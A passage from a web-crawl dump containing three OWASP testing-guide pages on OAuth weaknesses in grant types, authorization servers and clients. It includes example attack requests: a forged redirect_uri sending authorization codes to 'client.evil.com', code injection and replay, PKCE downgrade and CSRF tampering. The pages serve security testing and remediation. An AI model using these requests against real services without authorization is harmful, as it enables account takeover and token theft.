(OIDC) to retrieve `id_tokens`. Be careful to understand how the implicit flow is being used, which can be identified if only the `/authorization` endpoint is being used to gain an access token, without relying on `/token` endpoint in any way. An example on this can be found [here](https://auth0.com/docs/get-started/authentication-and-authorization-flow/implicit-flow-with-form-post).\n\n*Please note that OAuth flows are a complex topic, and the above includes only a summary of the key areas. The inline references contain further information about the specific flows.*\n\n## Test Objectives\n\n- Determine if OAuth2 implementation is vulnerable or using a deprecated or custom implementation.\n\n## How to Test\n\n### Deprecated Grant Types\n\nDeprecated grant types were obsoleted for security and functionality reasons. Identifying if they’re being used allows us to quickly review if they’re susceptible to any of the threats pertaining to their usage. Some might be out of scope to the attacker, such as the way a client might be using the users’ credentials. This should be documented and raised to the internal engineering teams.\n\nFor public clients, it is generally possible to identify the grant type in the request to the `/token` endpoint. It is indicated in the token exchange with the parameter `grant_type`.\n\nThe following example shows the Authorization Code grant with PKCE.\n\n```\nPOST /oauth/token HTTP/1.1 Host: as.example.com [...]\n\n{\n \"client_id\":\"example-client\",\n \"code_verifier\":\"example\",\n \"grant_type\":\"authorization_code\",\n \"code\":\"example\",\n \"redirect_uri\":\"https://client.example.com\"\n}\n```\n\nThe values for the `grant_type` parameter and the grant type they indicate are:\n\n- `password` : Indicates the ROPC grant.\n- `client_credentials` : Indicates the Client Credential grant.\n- `authorization_code` : Indicates the Authorization Code grant.\n\nThe Implicit Flow type is not indicated by the `grant_type` parameter since the token is presented in the response to the `/authorization` endpoint request, and instead can be identified through the `response_type`. Below is an example.\n\n```\nGET /authorize\n ?client_id=\n &response_type=token \n &redirect_uri=https%3A%2F%2Fclient.example.com%2F\n &scope=openid%20profile%20email\n &state=\n```\n\nThe following URL parameters indicate the OAuth flow being used:\n\n- `response_type=token` : Indicates Implicit Flow, as the client is directly requesting from the authorization server to return a token.\n- `response_type=code` : Indicates Authorization Code flow, as the client is requesting from the authorization server to return a code, that will be exchanged afterwards with a token.\n- `code_challenge=sha256(xyz)` : Indicates the PKCE extension, as no other flow uses this parameter.\n\nThe following is an example authorization request for Authorization Code flow with PKCE:\n\n```\nGET /authorize\n ?redirect_uri=https%3A%2F%2Fclient.example.com%2F\n &client_id=\n &scope=openid%20profile%20email\n &response_type=code\n &response_mode=query\n &state=\n &nonce=\n &code_challenge=\n &code_challenge_method=S256 HTTP/1.1\nHost: as.example.com\n[...]\n```\n\n#### Public Clients\n\nThe Authorization Code grant with PKCE extension is recommended for public clients. An authorization request for Authorization Code flow with PKCE should contain `response_type=code` and `code_challenge=sha256(xyz)`.\n\nThe token exchange should contain the grant type `authorization_code` and a `code_verifier`.\n\nImproper grant types for public clients are:\n\n- Authorization Code grant without the PKCE extension\n- Client Credentials\n- Implicit Flow\n- ROPC\n\n#### Confidential Clients\n\nThe Authorization Code grant is recommended for confidential clients. The PKCE extension may be used as well.\n\nImproper grant types for confidential clients are:\n\n- Client Credentials (Except for machine-to-machine – see below)\n- Implicit Flow\n- ROPC\n\n##### Machine-to-Machine\n\nIn situations where no user interaction occurs and the clients are only confidential clients, the Client Credentials grant may be used.\n\nIf you know the `client_id` and `client_secret`, it is possible to obtain a token by passing the `client_credentials` grant type.\n\n```\n$ curl --request POST \\ --url https://as.example.com/oauth/token \\ --header 'content-type: application/json' \\ --data '{\"client_id\":\"\",\"client_secret\":\"\",\"grant_type\":\"client_credentials\"}' --proxy https://localhost:8080/ -k \n```\n\n### Credential Leakage\n\nDepending on the flow, OAuth transports several types of credentials in as URL parameters.\n\nThe following tokens can be considered to be leaked credentials:\n\n- access token\n- refresh token\n- authorization code\n- PKCE code challenge / code verifier\n\nDue to how OAuth works, the authorization `code` as well as the `code_challenge`, and `code_verifier` may be part of the URL. The implicit flow transports the authorization token as part of the URL if the `response_mode` is not set to [`form_post`](https://openid.net/specs/oauth-v2-form-post-response-mode-1_0.html). This may lead to leakage of the requested token or code in the referrer header, in log files, and proxies due to these parameters being passed either in the query or the fragment.\n\nThe risk that’s carried by the implicit flow leaking the tokens is far higher than leaking the `code` or any other `code_*` parameters, as they are bound to specific clients and are harder to abuse in case of leakage.\n\nIn order to test this scenario, make use of an HTTP intercepting proxy such as ZAP and intercept the OAuth traffic.\n\n- Step through the authorization process and identify any credentials present in the URL.\n- If any external resources are included in a page involved with the OAuth flow, analyze the request made to them. Credentials could be leaked in the referrer header.\n\nAfter stepping through the OAuth flow and using the application, a few requests are captured in the request history of an HTTP intercepting proxy. Search for the HTTP referrer header (e.g. `Referer: https://idp.example.com/`) containing the authorization server and client URL in the request history.\n\nReviewing the HTML meta tags (although this tag is [not supported](https://caniuse.com/mdn-html_elements_meta_name_referrer) on all browsers), or the [Referrer-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy) could help assess if any credential leakage is happening through the referrer header.\n\n- [Testing JSON Web Tokens](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/10-JSON_Web_Tokens)\n\n## Remediation\n\n- When implementing OAuth, always consider the technology used and whether the application is a server-side application that can avoid revealing secrets, or a client-side application that cannot.\n- In almost any case, use the Authorization Code flow with PKCE. One exception may be machine-to-machine flows.\n- Use POST parameters or header values to transport secrets.\n- When no other possibilities exists (for example, in legacy applications that can not be migrated), implement additional security headers such as a `Referrer-Policy` .\n\n## Tools\n\n- [BurpSuite](https://portswigger.net/burp/releases)\n- [EsPReSSO](https://github.com/portswigger/espresso)\n- [ZAP](https://www.zaproxy.org/)\n\n## References\n\n- [User Authentication with OAuth 2.0](https://oauth.net/articles/authentication/)\n- [The OAuth 2.0 Authorization Framework](https://datatracker.ietf.org/doc/html/rfc6749)\n- [The OAuth 2.0 Authorization Framework: Bearer Token Usage](https://datatracker.ietf.org/doc/html/rfc6750)\n- [OAuth 2.0 Threat Model and Security Considerations](https://datatracker.ietf.org/doc/html/rfc6819)\n- [OAuth 2.0 Security Best Current Practice](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-16)\n- [Authorization Code Flow with Proof Key for Code Exchange](https://auth0.com/docs/authorization/flows/authorization-code-flow-with-proof-key-for-code-exchange-pkce)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11846, "slov": 1530, "odkazu": 230, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:37", "sha256": "6cabdd41decf667dc8c4244ae92a7a3855005979b35446375a24227b52db4de6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://oauth.net/2/", "https://datatracker.ietf.org/doc/html/rfc6749", "https://oauth.net/2/client-types/", "https://oauth.net/2/grant-types/", "https://oauth.net/2/grant-types/authorization-code/", "https://oauth.net/2/pkce/", "https://oauth.net/2/grant-types/client-credentials/", "https://oauth.net/2/grant-types/device-code/", "https://oauth.net/2/grant-types/refresh-token/", "https://oauth.net/2.1/", "https://oauth.net/2/grant-types/implicit/", "https://en.wikipedia.org/wiki/Single-page_application", "https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS", "https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy", "https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics", "https://oauth.net/2/grant-types/password/", "https://auth0.com/docs/get-started/authentication-and-authorization-flow/implicit-flow-with-form-post", "https://openid.net/specs/oauth-v2-form-post-response-mode-1_0.html", "https://caniuse.com/mdn-html_elements_meta_name_referrer", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy", "https://portswigger.net/burp/releases", "https://github.com/portswigger/espresso", "https://www.zaproxy.org/", "https://oauth.net/articles/authentication/", "https://datatracker.ietf.org/doc/html/rfc6750", "https://datatracker.ietf.org/doc/html/rfc6819", "https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-16", "https://auth0.com/docs/authorization/flows/authorization-code-flow-with-proof-key-for-code-exchange-pkce", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05.1-OAuth_Authorization_Server_Weaknesses", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05.1-OAuth_Authorization_Server_Weaknesses", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05.1-OAuth_Authorization_Server_Weaknesses", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "05-Authorization"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "OAuth Authorization Server Weaknesses"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Insufficient Redirect URI Validation"}, {"uroven": 3, "text": "Authorization Code Injection"}, {"uroven": 4, "text": "Public Clients"}, {"uroven": 4, "text": "Test Confidential Clients"}, {"uroven": 3, "text": "PKCE Downgrade Attack"}, {"uroven": 3, "text": "Clickjacking"}, {"uroven": 4, "text": "How to Test"}, {"uroven": 3, "text": "Token Lifetime"}, {"uroven": 4, "text": "Test Access Token Lifetime Validation"}, {"uroven": 4, "text": "Test Refresh Token Lifetime Validation"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# OAuth Authorization Server Weaknesses\n\n## Summary\n\nOAuth stores the identities of users and their corresponding access rights with the Authorization Server (AS). The AS plays a crucial role during the OAuth flow as it grants clients access to resources. To be able to do that securely, it must properly validate parameters that are part of the OAuth flow.\n\nFailure to validate the parameters may lead to account takeover, unauthorized resource access and the elevation of privileges.\n\n## Test Objectives\n\n- Identify weaknesses in the Authorization Server.\n\n## How to Test\n\nIn order to test for AS weaknesses, you will aim to:\n\n1. Retrieve credentials used for authorization.\n2. Grant yourself access to arbitrary resources through forced browsing.\n3. Bypass the authorization.\n\n### Insufficient Redirect URI Validation\n\nIf the `redirect_uri` is not properly validated, a link can be crafted that contains a URL pointing to a server controlled by an attacker. This can be used to trick the AS into sending an authorization code to the attacker. In the following example, `client.evil.com` is used as the forged `redirect_uri`.\n\n```\nhttps://as.example.com/authorize?client_id=example-client&redirect_uri=http%3A%2F%client.evil.com%2F&state=example&response_mode=fragment&response_type=code&scope=openid&nonce=example\n```\n\nIf a user opens this link in the user agent, the AS will redirect the user agent to the malicious URL.\n\nAn attacker can capture the `code` value passed in the spoofed URL and then submit it to the AS token endpoint.\n\nThe following request illustrates an authorization request that sends the `redirect_uri` to the authorization server. The client `client.example.com` sends an authorization request to the AS `as.example.com` with the URL-encoded redirect URI `http%3A%2F%2Fclient.example.com%2F`.\n\n```\nGET /authorize\n ?redirect_uri=http%3A%2F%2Fclient.example.com%2F\n &client_id=example-client\n &errorPath=%2Ferror\n &scope=openid%20profile%20email\n &response_type=code\n &response_mode=query\n &state=example\n &nonce=example\n &code_challenge=example\n &code_challenge_method=S256 HTTP/1.1\nHost: as.example.com\n```\n\nThe AS responds with a redirect containing the authorization code. This can be exchanged with an access token in the token request. As shown below, the URL in the `Location` header is the URI given in the previous `redirect_uri` parameter.\n\n```\nHTTP/1.1 302 Found Date: Mon, 18 Oct 2021 20:46:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 340 Location: https://client.example.com/?code=example&state=example \n```\n\nTo test if the AS is vulnerable to insufficient redirect URI validation, capture the traffic with an HTTP intercepting proxy such as ZAP.\n\n1. Start the OAuth flow and pause it at the authorization request.\n2. Change the value of the `redirect_uri` and observe the response.\n3. Investigate the response and identify if the arbitrary `redirect_uri` parameter was accepted by the AS.\n\nIf the AS redirects the user agent to the `redirect_uri` you specified, the AS does not properly validate the `redirect_uri`.\n\nAdditionally, see the `Common Filter Bypass` section in [Server-Side Request Forgery](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/19-Server-Side_Request_Forgery) to identity common bypasses for redirect URI validation.\n\n### Authorization Code Injection\n\nDuring the Authorization Code flow code exchange, a code is issued by the AS to the client and later exchanged against the token endpoint to retrieve an authorization token and a refresh token.\n\nConduct the following tests against the AS:\n\n1. Send a valid code for another `client_id` .\n2. Send a valid code for another resource owner.\n3. Send a valid code for another `redirect_uri` .\n4. Resend the code more than once (code replay).\n\n#### Public Clients\n\nThe request sent to the token endpoint contains the authorization code. It is exchanged against the token. Capture this request with an HTTP intercepting proxy like ZAP and resend the request with modified values.\n\n```\nPOST /oauth/token HTTP/1.1 Host: as.example.com [...]\n\n{\n \"errorPath\":\"/error\",\n \"client_id\":\"example-client\",\n \"code\":\"INJECT_CODE_HERE\",\n \"grant_type\":\"authorization_code\",\n \"redirect_uri\":\"https://client.example.com\"\n}\n```\n\nIf the AS responds with an `access_token`, the code was successfully injected.\n\n#### Test Confidential Clients\n\nAs the OAuth flow for confidential clients is additionally protected by a client secret, it is not possible to directly submit an authorization code to the token endpoint. Instead, inject the authorization code into the client. This injected code will then be sent in the token request, issued by the confidential client together with the client secret.\n\nFirst, capture an authorization code from the AS:\n\n1. Start the authorization code flow with user Alice. Pause when you receive a code from the AS.\n2. Do not submit the code to the client and keep note of the code and corresponding state.\n\nThen, inject the code:\n\n1. Start the authorization code flow with user Mallory and inject the previously gathered code and state values for user Alice into the process.\n2. When the attack is successful, the client should now be in possession of an `authorization_token` that grants access to resources owned by user Alice.\n\n```\nGET /callback?code=INJECT_CODE_HERE&state=example HTTP/1.1 Host: client.example.com [...] \n```\n\n### PKCE Downgrade Attack\n\nUnder certain circumstances the PKCE extension can be removed from the authorization code flow. This has the potential to leave public clients vulnerable to attacks mitigated by the PKCE extension.\n\nThis can happen when:\n\n- The AS does not support PKCE.\n- The AS does not properly validate PKCE.\n\nBoth can be tested with an HTTP intercepting proxy like ZAP. Conduct the following tests:\n\n1. Send the authorization request without the `code_challenge=sha256(xyz)` and `code_challenge_method` parameter.\n2. Send the authorization request with an empty value for the `code_challenge=sha256(xyz)` parameter.\n3. Send the authorization request with a forged value for the `code_challenge=sha256(xyz)` parameter\n\nThe example below highlights the values to modify:\n\n```\nGET /authorize\n ?redirect_uri=http%3A%2F%client.example.com\n &client_id=example-client\n &errorPath=%2Ferror\n &scope=openid%20profile%20email\n &response_type=code\n &response_mode=web_message\n &state=example-state\n &nonce=example-nonce\n &code_challenge=MODIFY_OR_OMIT_THIS\n &code_challenge_method=MODIFY_OR_OMIT_THIS\n &prompt=none HTTP/1.1\nHost: as.example.com\n[...]\n```\n\nThe AS should verify the `code_verifier` value in the token exchange. To test:\n\n1. Send the token request without the `code_verifier` .\n2. Send the token request with an empty `code_verifier` .\n3. Send the token request with a valid `code_verifier` for a different authorization code.\n\n```\nPOST /oauth/token HTTP/1.1 Host: as.example.com [...]\n\n{\n\"client_id\":\"example-client\",\n\"code_verifier\":\"MODIFY_OR_OMIT_THIS\",\n\"code\":\"example\",\n\"grant_type\":\"authorization_code\",\n\"redirect_uri\":\"https://client.example.com\"\n}\n```\n\nCSRF attacks are described in [CSRF](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/05-Cross_Site_Request_Forgery). OAuth can be attacked with CSRF.\n\nTo prevent CSRF attacks OAuth, leverages the `state` parameter as an anti-CSRF token.\n\nOther measures can prevent CSRF attacks as well. The PKCE flow mitigates CSRF. A `nonce` value may act as an anti-CSRF token as well.\n\nTest every request that contains one of the anti-CSRF parameters used by OAuth according to the tests described in the [CSRF](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/05-Cross_Site_Request_Forgery) test cases.\n\nThe consent page is displayed to a user to verify that this user consents in the client accessing the resource on the users behalf. Attacking the consent page with CSRF may grant an arbitrary client access to a resource on behalf of the user. The steps of this flow are:\n\n1. The Client generates a state parameter and sends it with the consent request.\n2. The User Agent displays the consent page.\n3. The Resource Owner grants access to the Client.\n4. The consent is sent to the AS together with the acknowledged scopes.\n\nUse an HTTP intercepting proxy like ZAP to test whether the state parameter is properly validated.\n\n```\nPOST /u/consent?state=Tampered_State HTTP/1.1 Host: as.example.com [...]\n\nstate=MODIFY_OR_OMIT_THIS\n&audience=https%3A%2F%2Fas.example.com%2Fuserinfo\n&scope%5B%5D=profile\n&scope%5B%5D=email\n&action=accept\n```\n\n### Clickjacking\n\nClickjacking is described in [Clickjacking](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/09-Clickjacking). When the consent page is prone to clickjacking and the attacker is in possession of the `client_id` (for public clients, or the client secret for confidential clients), the attacker can forge the user’s consent and gain access to the requested resource through a rogue client.\n\n#### How to Test\n\nFor this attack to be successful, the attacker needs to load the authorization page in an iframe.\n\nThe following HTML page can be used to load the authorization page in an iframe:\n\n```\n Clickjack test page \n```\n\nIf successfully loaded, the site is vulnerable to clickjacking.\n\nSee [Clickjacking](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/09-Clickjacking) for a detailed description of how such an attack can be conducted.\n\n### Token Lifetime\n\nOAuth has two types of tokens: the access token and the refresh token. An access token should be limited in the duration of its validity. That means it is short-lived: a good duration depends on the application and may be 5 to 15 minutes.\n\nThe refresh token should be valid for a longer duration. It should be a one-time token that gets replaced each time it has been used.\n\n#### Test Access Token Lifetime Validation\n\nWhen a JSON Web Token (JWT) is used as the access token, it is possible to retrieve the validity of the access token from the decoded JWT. This is described in [Testing JSON Web Tokens](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/10-JSON_Web_Tokens). It is possible that the AS does not properly validate the lifetime of the JWT.\n\nTo test the lifetime of the access token, use an HTTP intercepting proxy such as ZAP. Intercept a request to an endpoint that contains an access token. Put this request in the repeater and let the targeted time pass. The validity of an access token should be between 5 and 15 minutes, depending on the sensitivity of the resources.\n\nSuch requests may look like the following example. The token could also be transported in other ways, for example, in a cookie.\n\n```\nGET /userinfo HTTP/1.1 Host: as.example.com [...] Authorization: Bearer eyJhbGciOiJkaXIiL[...] \n```\n\nTest for lifetime validation by sending the request after varying lengths of time have passed, for example, after 5 minutes, 10 minutes, and 30 minutes.\n\nThis process can be optimized by automating the steps and logging of the server’s response. When a response of HTTP status 403 (instead of HTTP status 200) is received, this can indicate that the access token is no longer valid.\n\n#### Test Refresh Token Lifetime Validation\n\nRefresh tokens have a longer validity period than access tokens. Due to their long validity, they should be invalidated after they are used in an exchange against an access token.\n\nRefresh tokens are issued in the same token request where the access token is handed out to the client.\n\nUse an HTTP intercepting proxy such as ZAP. Set up the test by doing the following:\n\n1. Retrieve a valid refresh token.\n2. Capture the request that is used to exchange the refresh token against a new access token.\n3. Send the captured request to the request repeater.\n\nIn the following example, the refresh token is sent as part of the POST body.\n\n```\nPOST /token HTTP/1.1 Host: as.example.com Cookie: [...] [...]\n\ngrant_type=refresh_token\n&refresh_token=eyJhbGciOiJIUz[...]\n&client_id=example-client\n```\n\nConduct the following tests:\n\n1. Send the refresh token and determine if the AS hands out an access token.\n2. Repeat the steps with the same refresh token to evaluate how often a single refresh token is accepted.\n\nWhen a JWT is used as the refresh token, it is possible to retrieve the validity of the refresh token from the decoded JWT. This is described in [Testing JSON Web Tokens](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/10-JSON_Web_Tokens). The refresh token may be valid for a longer period of time, but should have an expiry date.\n\nAdditional security can be gained with a theft detection mechanism. If a refresh token is used in a token exchange beyond its validity (or lifetime), the AS invalidates all refresh tokens. To test this mechanism:\n\n1. Send the refresh token and determine if the AS hands out an access token.\n2. Repeat the steps with the same refresh token until it is invalidated.\n3. Use the refresh token from the last token response\n\nIf all refresh tokens that were issued to the client for this resource owner are invalidated, the AS has token theft detection.\n\n- [Cross Site Request Forgery](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/05-Cross_Site_Request_Forgery)\n- [Client-side URL Redirect](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/04-Client-side_URL_Redirect)\n- [Server-Side Request Forgery](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/19-Server-Side_Request_Forgery)\n- [Testing JSON Web Tokens](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/10-JSON_Web_Tokens)\n- [Clickjacking](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/09-Clickjacking)\n- [Testing Cross Origin Resource Sharing](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/07-Cross_Origin_Resource_Sharing)\n\n## Remediation\n\nMost of the attacks against OAuth AS can be mitigated by validating the existence and content of parameters during the authorization code and token exchange.\n\nRestrict the time span and allowed usage for credentials such as the authorization code and refresh token. This can mitigate some types of attacks and also limits the use of such credentials for an attacker, if they are gained.\n\nProper configuration of security mitigation like CORS, anti-CSRF tokens, and anti-clickjacking headers can mitigate or limit the impact of attacks.\n\n- Always validate if all parameters are present, and validate their values.\n- Use the PKCE extension to properly secure the authorization code and token exchange.\n- Do not allow fallback for security features like the PKCE extension.\n- Restrict the lifetime of credentials.\n- Use credentials only once where possible, e.g. the authorization code.\n- Configure available security mitigation like CORS, anti-CSRF tokens, and anti-clickjacking headers.\n\n## Tools\n\n- [BurpSuite](https://portswigger.net/burp/releases)\n- [EsPReSSO](https://github.com/portswigger/espresso)\n- [ZAP](https://www.zaproxy.org/)\n\n## References\n\n- [User Authentication with OAuth 2.0](https://oauth.net/articles/authentication/)\n- [The OAuth 2.0 Authorization Framework](https://datatracker.ietf.org/doc/html/rfc6749)\n- [The OAuth 2.0 Authorization Framework: Bearer Token Usage](https://datatracker.ietf.org/doc/html/rfc6750)\n- [OAuth 2.0 Threat Model and Security Considerations](https://datatracker.ietf.org/doc/html/rfc6819)\n- [OAuth 2.0 Security Best Current Practice](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-16)\n- [Authorization Code Flow with Proof Key for Code Exchange](https://auth0.com/docs/authorization/flows/authorization-code-flow-with-proof-key-for-code-exchange-pkce)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 16178, "slov": 2190, "odkazu": 209, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:38", "sha256": "ec4bb3d95d711b138c26808c5bf4718bba20882bd8218a1bb8d81e6ab472ad89", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://portswigger.net/burp/releases", "https://github.com/portswigger/espresso", "https://www.zaproxy.org/", "https://oauth.net/articles/authentication/", "https://datatracker.ietf.org/doc/html/rfc6749", "https://datatracker.ietf.org/doc/html/rfc6750", "https://datatracker.ietf.org/doc/html/rfc6819", "https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-16", "https://auth0.com/docs/authorization/flows/authorization-code-flow-with-proof-key-for-code-exchange-pkce", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05.2-OAuth_Client_Weaknesses", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05.2-OAuth_Client_Weaknesses", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05.2-OAuth_Client_Weaknesses", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "05-Authorization"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "OAuth Client Weaknesses"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to test"}, {"uroven": 3, "text": "xposed Client Secret"}, {"uroven": 3, "text": "Improper Token Storage"}, {"uroven": 3, "text": "Access Token Injection"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# OAuth Client Weaknesses\n\n## Summary\n\nOAuth grants access rights on resources to clients. This allows them to act on behalf of the resource owner. The client receives the authorization code and refresh token in the token exchange and stores them.\n\nFailure to protect the token exchange and credentials may result in unauthorized resource access and the elevation of privileges.\n\n## Test Objectives\n\n- Identify weaknesses in the OAuth client.\n\n## How to test\n\nIn order to test for client weaknesses, you will aim to:\n\n1. Retrieve credentials used for authorization.\n2. Grant yourself access to arbitrary resources through forced browsing.\n3. Bypass the authorization.\n\n### xposed Client Secret\n\nThe client secret is used to authenticate the client against the Authorization Server (AS) in order to prove that the client is a trusted origin.\n\nPublic clients are generally not able to store the client secret securely.\n\nTo identify the client secret in client-side code, conduct reconnaissance on the client-side code.\n\n1. Browse to the application.\n2. Open the browser’s developer tools.\n3. Navigate to the Debugger Tab.\n4. Press Ctrl+Shift+F to open the search.\n5. Search for terms similar to `client-secret` and determine if any are found.\n\nIf this is not successful, you can also:\n\n1. Step through the authorization process with a HTTP intercepting proxy like ZAP.\n2. Retrieve the client secret from the URI in the parameter `client-secret` .\n3. Replace the search term in the above search with the value of the client secret and determine if it is exposed.\n\n### Improper Token Storage\n\nThe client receives access tokens and ideally stores them in a location where those tokens can be protected from attackers.\n\nConfidential clients should store tokens in volatile memory to prevent access through other attacks such as local file inclusion, attackers who are able to access the environment, or SQL Injection attacks.\n\nPublic clients, such as single-page applications, do not have the possibility of storing tokens securely. For example, a cross-site scripting attack allows attackers to access credentials stored in the browser.\n\nPublic clients may store tokens in the browsers session storage or in a cookie, but not in the local storage. To determine if tokens are improperly stored:\n\n1. Browse to the application.\n2. Retrieve an access token.\n3. Open the browser’s developer tools.\n4. Navigate to the Application Tab.\n5. Locate the Local Storage and view stored data.\n6. Locate the Session Storage and view stored data.\n7. Locate the Cookie Store and view stored data.\n\n### Access Token Injection\n\nThis attack is only possible when the client uses a response type that directly issues an access token to the client. This occurs with the grant types Implicit Flows, Resource Owner Password Credential, and machine-to-machine flows. See [OAuth Weaknesses](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05-OAuth_Weaknesses) for further description.\n\nAccess token injection is successful when an access token is leaked to an attacker and then used to authenticate with the legitimate client.\n\nTo test for access token injection, follow the steps below. In this example, the authorization token (`ZXhhbXBsZQo=`) was leaked.\n\n1. Intercept the traffic between the client and the authorization server.\n2. Start an OAuth flow with a client using the Implicit Flow grant type.\n3. Inject the stolen access token:\n - Send a forged authorization response with the stolen access token ( `ZXhhbXBsZQo=` ) to the client.\n - Intercept a valid authorization response and replace the access token ( `dGVzdGluZwo=` ) with the leaked one ( `ZXhhbXBsZQo=` ).\n\n*Figure 4.5.5.2-: Access Token Injection Flow*\n\n- [Cross Site Request Forgery](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/05-Cross_Site_Request_Forgery)\n- [Client-side URL Redirect](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/04-Client-side_URL_Redirect)\n- [Testing JSON Web Tokens](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/10-JSON_Web_Tokens)\n- [Clickjacking](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/09-Clickjacking)\n- [Testing Cross Origin Resource Sharing](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/07-Cross_Origin_Resource_Sharing)\n\n## Remediation\n\n- Use a client secret only if the client has the ability to store it securely.\n- Follow best practices to store tokens securely. Treat them with the same security considerations as other credentials.\n- Avoid deprecated OAuth grant types. See [OAuth Weaknesses](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05-OAuth_Weaknesses) for further description.\n\n## Tools\n\n- [BurpSuite](https://portswigger.net/burp/releases)\n- [EsPReSSO](https://github.com/portswigger/espresso)\n- [ZAP](https://www.zaproxy.org/)\n\n## References\n\n- 